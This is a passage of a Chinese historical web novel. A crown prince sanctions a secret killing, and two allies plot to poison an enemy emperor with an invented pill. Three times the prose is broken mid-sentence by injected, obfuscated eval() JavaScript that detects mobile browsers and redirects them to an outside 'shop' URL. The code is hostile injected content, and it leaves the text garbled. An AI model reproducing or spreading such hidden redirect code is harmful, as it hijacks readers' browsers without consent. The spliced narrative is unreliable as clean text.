“之儿……”他低喃一声,嘴角扯出一抹如释重负的笑意,强撑的意志也随之溃散,眼前猛地一黑,竟是直挺挺向后倒去! “殿下!” — 再次恢复意识时,周重晏发现自己又躺在了行驶的马车中,周身无力,头痛欲裂。 车帘被掀开,映入眼帘的竟是应该远在千里之外的贺进! “少傅?”周重晏满腹疑惑,挣扎欲起。 “殿下莫动,且好好修养。”贺进按住他,眉头紧锁,随即解释来意,“老臣是奉陛下急诏而来。离朝皇帝李玄已下昭令,调集大军陈兵边关,不日便将御驾亲征,直指虞城!陛下严令,命殿下即刻返回长安,绝不可再滞留险地!” 离朝果然来了! 国事当前,储君之责如山压下。可之儿如今生死未卜,自己如何能安心离去? “少傅,之儿被奸人所害,下落不明,孤必须找到她。”语气执拗无比。 贺进自然也听闻此事,他素来不喜卫逾之。其出身微贱,留侍东宫已属殊遇,太子殿下又对她过分倚重,实在有失分寸。 更不用说现在殿下竟为她几次涉险,甚至不惜违逆皇命,实在是祸水! “殿下!”贺进语气加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918082|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重,“卫氏与你乃是君臣,为主分忧乃至殉职,皆是本分。如今国难当头,殿下身系社稷,岂能因一女子而乱大谋,置江山安危于不顾?老臣知殿下仁厚,然储君之心,当时刻以天下为重!” 周重晏颓然靠回软枕,闭上眼睛,心中矛盾至极。 贺进见他纠结如此,更是忍不住开口斥道:“边关八百里加急!于公于私您都应回到朝廷主持大局,商议应对之策。现在您却为了一介……” 他顿了顿,将“女流之辈”四字咽下,换了个说法,“为了寻人,滞留险境,以至忧急晕厥!殿下,您不能再这样执迷不悟了!” 周重晏心中虽仍牵挂卫逾之下落,但储君的职责压的他实在喘不过气。 贺进见他动摇,连忙趁热打铁:“殿下,我知您心中不舍。只是利器虽好,终有折损之时。岂可因利器之失,而伤执刀者自身?您此番太不冷静了。” 他叹了口气,“老臣知您待下宽仁,但储君之身,牵系国本,万不可有失。况且……” “我看那卫氏,只怕是命途带煞,累及主上。您此番突然晕厥,定然是因为她……” “贺中丞!”周重晏骤然打断他,再次睁开了眼睛,竟是罕见的冷冽,“此事与之儿无关!” 贺进愕然,周重晏深吸一口气,半晌,他才幽幽开口:“少傅,是我周家……本就福薄命短。” 贺进瞳孔一缩:“殿下何出此言?” “少傅可曾留意?我宸朝自太祖以降,历代帝王,无一活过天命之年。”周重晏认命道。 “太祖皇帝,三十四岁崩于征途;桓皇帝,四十六岁薨于暗疾;先帝亦不过四十有八。仿佛冥冥之中,真有诅咒一般。”他细细数来,扯了扯嘴角,露出一抹苦涩的笑。 “孤此番急火攻心,便晕厥过去。可见,这短命的诅咒,大抵是逃不脱了。” “殿下慎言!”贺进骇然变色,连忙制止。 这等涉及国本气运、皇室秘辛之言,岂可轻易出口?若是传扬出去,定然吃不了兜着走! 贺进万万没想到没想到他竟存了这般念头,且对那卫逾之用情至深,竟到了自伤自怜的地步?! 车厢内瞬间沉默,良久,贺进叹了口气,转换话题,低声道:“殿下,那赵媛惜,您打算如何处置?老臣已命人将她秘密押送,另行看管。” 提及赵媛惜,周重晏眼中寒意复起,但已不似之前那般疯狂。 得知卫逾之尚存于世,他心中的暴戾稍减,却实在咽不下这口气。 “她构陷东宫侍臣,背主求荣,更险些害之儿殒命,罪不容诛。依律,当处极刑。孤欲将其罪状禀明父皇,听候发落。” 贺进捻着胡须,微微摇头:“殿下,赵媛惜毕竟是赵崇将军之女,虽为私生,血脉难断。若将她公然处置,赵将军颜面尽失,恐生怨怼。” 周重晏冷笑:“她今日敢害之儿,来日便敢害孤!此等祸患,留之何益?赵崇若知她罪行,大义灭亲还来不及!” 贺进压低声音:“老臣并非让殿下放过她。只是此事若经官面,必然牵连赵将军。况且,赵氏乃您的母族,一荣俱荣,一损俱损,此事若公之于众,对殿下之声誉与赵家之关系,皆无益处。不若……” 他做了个手势,“不若让她消失。赵崇只知女儿私自逃离后下落不明,纵有疑心,也无实据,更怪不到殿下头上。如此,既除后患,亦全大体。” 周重晏目光深深地看向他,这位以刚直敢谏著称的老臣,竟也通得如此腌臜的权术手段。 “也好。便依少傅之言。找个可靠的人,做得干净些,让她死在流民乱匪之中吧。记住,做的干净些。” 31. 结谋 山中岁月缓,药香伴朝夕。 卫逾之的伤势在何生尘的调理下好转极快。 胸口处虽仍会随着动作牵扯隐隐作痛,但她已能自如行走,每日闲不住时,还能在院中练剑解闷。 何生尘每日前来诊脉换药,若见她舞抢弄剑,总是抱臂立于不远处,冷冷吐出一句:“当真是不怕死!”。 “你的伤口愈合尚可,但内里经络损伤未平,气血亦亏虚太甚。”他挑眉告诫道,“切忌剧烈动作,更不可动气急怒。若再牵动旧伤,郁结成痼疾,神仙难救,到时莫怪我没提醒你。” 卫逾之收了剑,望着庭院中那几株精心栽培的腊梅,轻轻“嗯”了一声。她心思却不全在伤势上。 “何公子,这几日庄外可有什么消息?” 身处深山,与世隔绝,虞城如何,战事是否已起,殿下是否安好,这些她只能从何生尘口中得知。 何生尘动作顿了顿,沉声道:“吴庸前日下山采买,回来说,虞城周边村镇,十室九空。能走的,都携家带口往南逃难去了。官道上满是流民,拖儿带女,景象凄惶。” “离朝大军前锋,距虞城不足八十里。战火,怕是不远了。” 卫逾之的心猛地一沉。 虽然早有心理准备,但如今听闻百姓流离,沉重的无力感依旧攫住了她。 如今虞城外仓惶南逃的身影,似乎和多年东安九郡割让时,那些南望王师,涕泪横流的百姓面容交叠在一起。 她自嘲地扯了扯嘴角。曾几何时,自己早已见识了朝堂倾轧,人心险恶。 太傅离去后,自己暗自立誓,往后定要保全自身,再不轻易为那些遥不可及的理想飞蛾扑火。 可如今,听着这山河即将破碎的悲鸣,想着虞城那不知能抵挡几时的布防,看着流离失所的无辜百姓,她这才发现自己根本无法真正做到冷眼旁观,独善其身。 何生尘看出她心中挣扎,冷哼一声,劝道:“你一个女子,自身尚且难保,操那份闲心作甚?天塌下来,自有高个子顶着。你那太子殿下,文臣武将,难道还缺你一个不成?” 卫逾之默认不语。 那夜在虞城别院中,她虽针对几处关键节点做了细微调整,足以让手持原图的敌人陷入暂时的混乱与误判,但那终究是治标不治本。 布防体系的大框架未变,宸朝军队多年积弊。 冗兵冗将、训练松弛、器械陈旧、指挥僵化……这些根本性问题,绝非她改动几处图纸便能解决。 太傅昔日在文华殿痛心疾首的剖析,言犹在耳:“非将士不勇,非民心不附,实乃国力疲敝,军制腐朽,上下因循,积重难返!” 这些沉疴痼疾,如同蛀空梁柱的白蚁,非雷霆变法、刮骨疗毒不能清除。 而如今,变法已败,太傅已走,自己即便立刻奔赴虞城前线,凭她一人之力,又能改变什么? 是能提振那早已因谣言和连败而低迷的士气?还是能变出精锐的兵卒和充足的粮草?抑或能取代那些可能昏聩无能的守将,指挥千军万马? 都不能。不过是多添一缕亡魂罢了。 自己所学的兵法韬略、武艺机变,在如此沉疴面前,显得那样渺小。 自己知道病灶在哪里,却无力开出药方。这比盲目的热血更让人绝望。 — 接下来几日,卫逾之更加心焦了。 何生尘与吴庸已数日未曾下山前往虞城医馆。问及缘由,何生尘才解释道:“战事将起,城门封锁盘查更严。我又不傻,此时下山,无异于自投罗网。” 这也意味着,卫逾之彻底断绝了获取虞城消息的渠道。 她心里烦躁,到底未有表现。倒是何生尘仿佛被战事刺激到,常常逮着一个人就开始痛骂离朝皇帝李玄,言辞之激烈,怨毒之深刻,远超平日。 何生尘骂他弑父篡位,禽兽不如;骂他穷兵黩武,残暴不仁;骂他刚愎自用,任用奸佞。 卫逾之只是静静听着,心思早就飘到九霄云外。何生尘却越骂越起劲,显然已不满足于此。 “这老贼,最好女色!儿子生了十几个,个个如狼似虎,盯着那把椅子。”他满脸不屑,斥道。 “可惜老贼自己身体硬朗,又疑心病重,至今未立太子,由着那群小崽子们明争暗斗,各怀鬼胎,把朝堂弄得乌烟瘴气!哼,我看他哪天被自己儿子捅了刀子,那才叫报应!” 卫逾之早已习惯,暗笑一声,“你对离朝皇室,倒是颇为了解?怎么连李玄有几个儿子,是否立储,夺嫡之事都知道?” 何生尘眼帘未抬,冷血道:“灭族仇人,焉能不知?” “我恨不得食其肉寝其皮!这些年,但凡能打听到关于他、关于离朝皇室的只言片语,我都会记下。日思夜想,便是盼着有朝一日,能亲眼看到他众叛亲离,死无葬身之地!” 他已是情绪激动,口不择言,“若是可以,我巴不得上天有眼,降个雷劈死他才好!” 卫逾之心中了然。确实,李玄死了才好! 死了才好…… 她蓦然顿住,一个念头一闪而过,眼神瞬间亮了起来。 卫逾之走近几步,直勾勾盯着还在破口大骂的何生尘:“你说……如果李玄现在,就在这攻打虞城的战场上,突然死了,会如何?” 何生尘一怔,随即嗤笑:“天方夜谭!那老贼惜命得很,御驾亲征,身边必定护卫森严,岂是那么容易死的?再说,他若真死了……” 他顿了顿,眼中恨意与快意交织,“离朝必乱!他那群儿子,没了老子压制,为了皇位,立刻就能撕破脸皮,斗得你死我活!届时,谁还有心思管什么虞城、什么宸朝?怕是急着回京抢龙椅都来不及!” “正是如此!”卫逾之兴奋的差点跳起来,那个模糊的念头瞬间成型。 “李玄若死,离朝内乱自生,外战不攻自破!虞城之围可解,宸朝可得喘息之机!” 何生尘却不屑一顾:“你说得轻巧!如何让他死?你当他是田间稻草人,随便就能推倒?” 卫逾之的心脏骤然狂跳起来,多日的萎靡与无力一冲即散。 但是何生尘所言确实有理。如何让李玄死? 卫逾之没有立刻回答。她需要消化这个惊人的想法,需要权衡利弊,有机会实施这个计划的人。 她的目光,缓缓落在了何生尘身上。 身负血海深仇、精通医术、对离朝皇帝了如指掌!就是他了!! 何生尘被她这突如其来的目光看得一怔,蹙眉:“你看什么?” 卫逾之目光灼灼。她深知,世界上没有永远的谋友,也没有永远的敌人,只有永远的利益。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928446|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >现在,她为了瓦解离朝内部,何生尘为了报仇雪恨,这就是利益共赢之道! 何生尘被她看得有些发毛,他下意识地后退了半步,“你又在打什么鬼主意?” 卫逾之深吸一口气,问出了那个至关重要的问题:“何公子,你既出身太医世家,家学渊源,又得你外祖父真传。那么,你可通晓毒术?” 何生尘脸色微变,不解道:“你问这个做什么?” “李玄身边守卫再严,总要饮食、用药、熏香吧。” “若能有一种毒,无色无味,难以察觉,或潜伏期长,发作时状似急症暴毙;或能混于常见之物,随侍从、医官等人接近他身边……” “你疯了?!”何生尘猛然打断她,霍然起身,药草撒了一地也不顾。 “你知道你在说什么吗?刺杀敌国皇帝?就凭你我?你这是痴人说梦!且不说如何接近,就算有毒,如何下?下给谁?稍有差池,便是万劫不复!我躲了这么多年,不是为了陪你发疯送死的!” 卫逾之早料到他会有此反应,并不气馁,反而步步紧逼:“何公子,你恨不恨李玄?” “废话!” “你想不想报仇?” “想!我无时无刻不想!但报仇不是送死!” “那如果有一个机会,虽然冒险,却有可能真的致他于死地,甚至不需要我们亲自冲到阵前,只需要你提供合适的药物,一切罪责由我承担。” “你自幼隐居深山,想必除了医术,也曾研制过一些非常之物以防不测吧?你难道就甘心让李玄一统天下,而你,永远只能在这深山里,靠着咒骂和幻想来平息仇恨?” 何生尘胸膛起伏,死死瞪着她,眼中情绪复杂。 仇恨的火焰在他的心中剧烈燃烧,但是对风险的恐惧依旧在极力拉扯阻止。 卫逾之看出他的动摇,决定再加一把火。 她叹息一声,惋惜道:“还是说,你所谓的血海深仇,所谓的日思夜想报仇,其实也只是说说而已?” “闭嘴!”何生尘别过头,不愿再听,卫逾之却不依不饶。 “看来你早已习惯了躲藏与安稳。行吧,就当我今日什么都没说。你继续在这药庄,平安度日,偶尔骂骂李玄解气。而我,会自己想办法离开,去做我该做、想做的事。只是可惜了何家满门的冤魂……” “够了!”何生尘崩溃怒吼,额角青筋跳动。 卫逾之的话,确实戳中了他最痛也最不愿承认的地方。 这些年,自己确实在仇恨与恐惧中挣扎,既要躲避追捕,又要压抑报仇的冲动,那种无力感时常将他淹没。 如今,一条最疯狂也最直接的路,摆在了自己面前。 何生尘闭上眼睛,深吸了空气,再睁开时,眼中已是一片破釜沉舟的冰冷决绝。 “你可知,此事若败,不止你我,这药庄上下,吴庸,甚至可能牵连到你在意的人,都会死无葬身之地。” “我知道。”卫逾之回答得毫不犹豫,“但若成,可救虞城万千百姓,可解宸朝燃眉之急,亦可为何家讨还血债。值得一搏。” “值得一搏……”何生尘重复着这四个字,仿佛在掂量其重量。 良久,他缓缓转身,示意卫逾之跟着他走。 “我确实懂毒术,也有几味非同寻常的方子。” 32. 阴阳丹 药庄之中,有一处只有何生尘可进的密室。 何生尘推门而入,卫逾之紧随其后。 室内陈设简朴,唯有一张长案,案上整齐排列着两个青瓷小瓶,瓶身贴着泛黄纸笺。 卫逾之定睛一看,最先注意到了左侧那个贴着“阳”字的玉瓶。 那药瓶薄的透光,瓶身凝着一层暗泽,似是活物的肌肤,烛光映照下,引着人想去确认它到底是温是凉。 她忍不住伸出了手。 “别碰!”何生尘怒喝一声,反手夺过药瓶,“别碰它!” 卫逾之张了张嘴,满脸不解,“这就是你说的毒药?总不能碰一下就把我毒死了吧?” “恰恰相反。”何生尘将药瓶摆的老远,确认她够不着了,这才正色解释道:“此药唤做‘返阳丹’。若是病入膏肓、药石罔效之人服下,能令其回光返照,面色红润,看上去与常人无异。” “如此神药!”卫逾之更不解了,打趣道:“那你护着它做甚?我总不能抢了你的。” “神药?”何生尘冷笑一声,“天下哪有这般好事?” “你可知‘返阳’二字何解?”他直勾勾的看着药瓶,“人的生命便如同油灯,油尽了,便灭了。” “而它不是添油,而是将仅剩的灯芯捻得更粗,让最后的残油烧得更亮、更旺。看似返阳,实则折寿。” 卫逾之恍惚明白了什么,“你是说,这药,在透支人的寿命?” “不错。”何生尘点头,“父亲当时制出返阳丹后,便将它束之高阁。起初我也不明白,直到七岁那年,父亲才告诉我……” “我家的老管家当年被诊出恶疾,只有半年可活。征得同意后,父亲给他试用了这种药。” 何生尘的手指抚摸着药瓶,又是怜惜,又是恐惧。 “起初一切都很好,老管家不日便可下地走动,脉象平稳,仿佛真的好了一样。直到……”他的声音颤抖了起来,“直到七日后,父亲他亲眼看着老管家突然倒地不起,在他面前吐血而亡!” “什么?!怎么七日就……”卫逾之惊呼一声。 “父亲那时才知道,此药会加倍透支人的身体。一旦服用此药,他的五脏六腑会在极短时间内枯竭衰败。一个本还能活四五年的人,服了它,便只活得了一年,或者更短。” “所以它,其实算得上一种毒药?”卫逾之打量着药瓶,万万不敢相信。 何生尘默然不语,只是将它又推得远了一点。 “父亲无论怎么改良配方,都绕不过这个死结。返阳丹救的不是命,是‘表象’。可这毕竟是他的毕生之研,到底舍不得就此毁掉。” 卫逾之眸光渐沉。 此物便如帝王求长生,不过饮鸩止渴罢了。 “那另一瓶又是何物?”她想起右侧贴着“阴”字的药瓶。 “你所找之物。”何生尘瞥了她一眼,拿起,“此物名‘归阴’,与返阳丹本是一体双生的孽物。” 他拔出塞子,将一粒黑黢黢的药丸倒于手心。 “返阳丹催发生机,归阴丹却专噬生气。” 他将那粒丹丸投入案上茶盏,黑丸触水即化,茶水却依旧澄澈。 “此物遇水则融,无色无味。服下后不会立时发作,而是悄无声息浸入骨髓,三日之内渐次蚀尽五脏生气,待发觉时内里早烂透了。” 卫逾之凝视那盏茶,茶水倒映出她苍白的脸。 她咽了咽口水,问道:“死状如何?” “脉息骤绝,面色如常,医者初判多以为是急症暴毙。”何生尘将茶盏泼向墙角,茶水渗入砖缝。 “只有剖开胸腹,才能看见脏器已如败絮。” 可谁会冒着天下之大不韪剖开一国之君的龙体? 烛芯骤然爆开一朵灯花,噼啪声惊得两人俱是一颤。 “就是它了,借我一用!”卫逾之定了定神,伸手示意何生尘将归阴丹给自己。 何生尘没有动作,“离朝皇帝可不是什么乡野村夫,你有什么办法接近他?” “……” 卫逾之良久无言。若无计策,自己恐怕连他营帐百步都近不得。 “我有个念头。”何生尘开口,“李玄此人曾言自己不可一日无妇人。纵在军中,也常携美姬。你若能扮作舞姬,再托人将你送到他面前,便可将其混入他每日必服的汤药里。” “荒谬!”卫逾之打断他,“我真心与何公子结谋,你何必要如此捉弄于我?” “我怎么就捉弄你了?你是长相平平,但在李玄那也许还算得上美人。”何生尘也恼了,扫视卫逾之一眼,刺道。 卫逾之怒极反笑,“两军对阵,主帅营中夜夜笙歌?且不说李玄会不会在此时犯这忌讳,单说谁能把我送进去?谁又敢冒这亡国骂名献美?” “何公子出主意前,是否用脑子思考过?”她不甘示弱的回敬。 “那你说怎么办?”何生尘被驳的哑口无言,恼羞成怒,见她一时半会也想不出法子,嗤笑一声,“你不也没办法吗。要我说,李玄这老贼还真是好命!” “他警惕着呢,哪会让你轻易近身。”他一下子泄了力,倚靠在墙壁旁。 “混账玩意,弑父夺位,刚愎自用,穷兵黔武!!” 不过消停了片刻,他又开始了自顾自的咒骂。卫逾之无心顾及,只是“嗯,嗯。”的敷衍着,坐在案前蹙眉思索。 “那老贼干了这么多亏心事,除了头风当真一点报应也没有!太医看了也束手无策,天天疼的叫唤。呵!活该!!” 听到这句话,她眸光骤亮,“你方才说什么?” “老贼活该!” “不是这句,前面的。” “老贼他有头风?”何生尘满腹疑惑,“听闻他自从弑父后就患上了此病,发作时往往头痛欲裂,以头抢地。你问这个做什么?” 卫逾之拍案而起,“既是顽疾,必需名医!若我们能以医者身份入营……” “你想都别想!”何生尘面色骤变,连连摇头,后退一步,“我去不得。李玄知道何家有我的存在,这么多年,离朝的青年游医都被仔细盘查过,被误杀的数不胜数。我是要报仇没错,但犯不着搭上自己的命!” 卫逾之盯着他看了良久,“好吧,我去就行。” 轻飘飘几个字,惊得何生尘瞪圆了眼。“你去?!你懂医理?识药材?会诊脉?” “没办法,总不能坐以待毙。”卫逾之似是下定决心,“我自幼学什么都快,记性也不错。医道虽深,但若只学皮毛,应付一时,应当不难。” 何生尘像是听到了天大笑话,嗤笑出声:“卫姑娘,你可知医道为何?那是人命关天的学问!不是你看几本兵书,记几张阵图那般简单。阴阳五行、经络脏腑、药理药性。哪一样不要数年苦功?” 他越说越气,愤愤质问:“你以为你是神童?过目不忘便能悬壶济世?简直是痴人说梦!” “那怎么办?你不愿意去,便只能是我去。若离朝铁骑攻破虞城,覆灭宸朝也不过是须臾之间。不过是早死晚死的区别。若我现在贪生怕死,到时候到了黄泉再后悔吗?” 何生尘被激的说不出话,“好,好!你既这样说,我便考考你。” 他随口背道:“‘上古之人,其知道者,法于阴阳,和于术数,食饮有节,起居有常,不妄作劳,故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937902|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能形与神俱,而尽终其天年,度百岁乃去。’此段何解?” 卫逾之略一思索,缓缓道:“此言上古通晓养生之道者,取法天地阴阳变化,调和于术数规律,饮食有节制,起居有常规,不过度劳作,故能形神兼备,享尽天年,活过百岁。” 何生尘一愣,又道:“‘怒则气上,喜则气缓,悲则气消,恐则气下,惊则气乱,思则气结。’此又为何?” “此述七情对气机之影响。”卫逾之从容应答,“怒则气逆上行,喜则气机弛缓,悲则气消散耗,恐则气陷下行,惊则气机紊乱,思虑过度则气机郁结。” 何生尘脸色变了变,半晌才道:“你何时学的?” “我在庄中养伤数日,何公子的所言所行,我都一一记下了而已。” “你!”何生尘一时语塞,在密室里来回踱步,咬牙切齿,“好,好!算你记性好!但医道岂是死记硬背?诊脉望闻问切,用药君臣佐使。这些你能一眼就会?” “所以需要你教我。”卫逾之挑眉,“我不必成神医,只要学得足以取信于人,混入离营即可。” 何生尘像看疯子一样看她:“医术若靠死记硬背便能成,天下早遍地神医了!” — 卫逾之确有过目不忘之能。 不过三日,已将人体经络背得滚瓜烂熟;五日,常见药材性味归经倒背如流;七日,竟能磕磕绊绊解读脉案。 何生尘起初冷眼旁观,渐渐却坐不住了。 只因卫逾之那日诵读医书时,忽的将书一推,秀眉微蹙,问道:“这‘如绵中带弦’与‘如绵’究竟有何分别?书上说得玄乎,实操时又该如何分辨?” 何生尘被问住了。这区别,是千百次切脉练出的指下感觉,言语如何说得清? “还有这药方。”卫逾之又翻出一卷,“书上只写药方需‘酌情加减’,这‘情’如何酌?” 一个个问题砸过来,何生尘张了张嘴,竟答不上来。 “医道精髓,本就在这“酌情”二字,可这“情”是医者数十年积累的直觉,是望闻问切后的灵光一闪,哪是背书能得的?” 卫逾之听他回应,忽然笑了。那笑里没有挫败,只有了然。 “我明白了。”她说,“医术不是经史策论,背得再熟,也成不了良医。就像战场布阵,图上画得再妙,真到两军对垒,靠的还是临机决断。” “看来,此路不通。” 何生尘本以为她要放弃,却听她下一句道:“所以,还是得劳烦何公子亲自走一趟。” “你疯了?”何生尘骇笑,“我早就说了,我会被发现的!” “你做我的学徒,药童,随从。我在明处与太医周旋,你在暗处指点。离宫的人,见我是女子,便会松懈。而你,他们总不会屈尊来查一个学徒吧?”卫逾之打断他。 身份调换,这是自己从殿下那学来的方法。 何生尘怔住了。此法,或许可行? 他看向北方离朝的方向,深吸了一口气,“好,我跟你去。” “你不怕了?”卫逾之没想到他答的如此干脆。 “怕。”何生尘苦笑,“我怕死,怕被认出来,怕何家最后一点血脉也断了。” “可我更怕,这辈子就这样躲在深山里,一边咒骂李玄,一边眼睁睁看着他又灭一国。” 卫逾之心中复杂。她看着何生尘的侧颜,忽然问:“若败了,你会后悔吗?” “若不去,我现在就会后悔。” 何生尘递出了装有归阴丹的瓷瓶,卫逾之接过,细细摩挲着上面的纹路。 猝然,她好似想起了什么,猛地抬头,“还有一个问题!”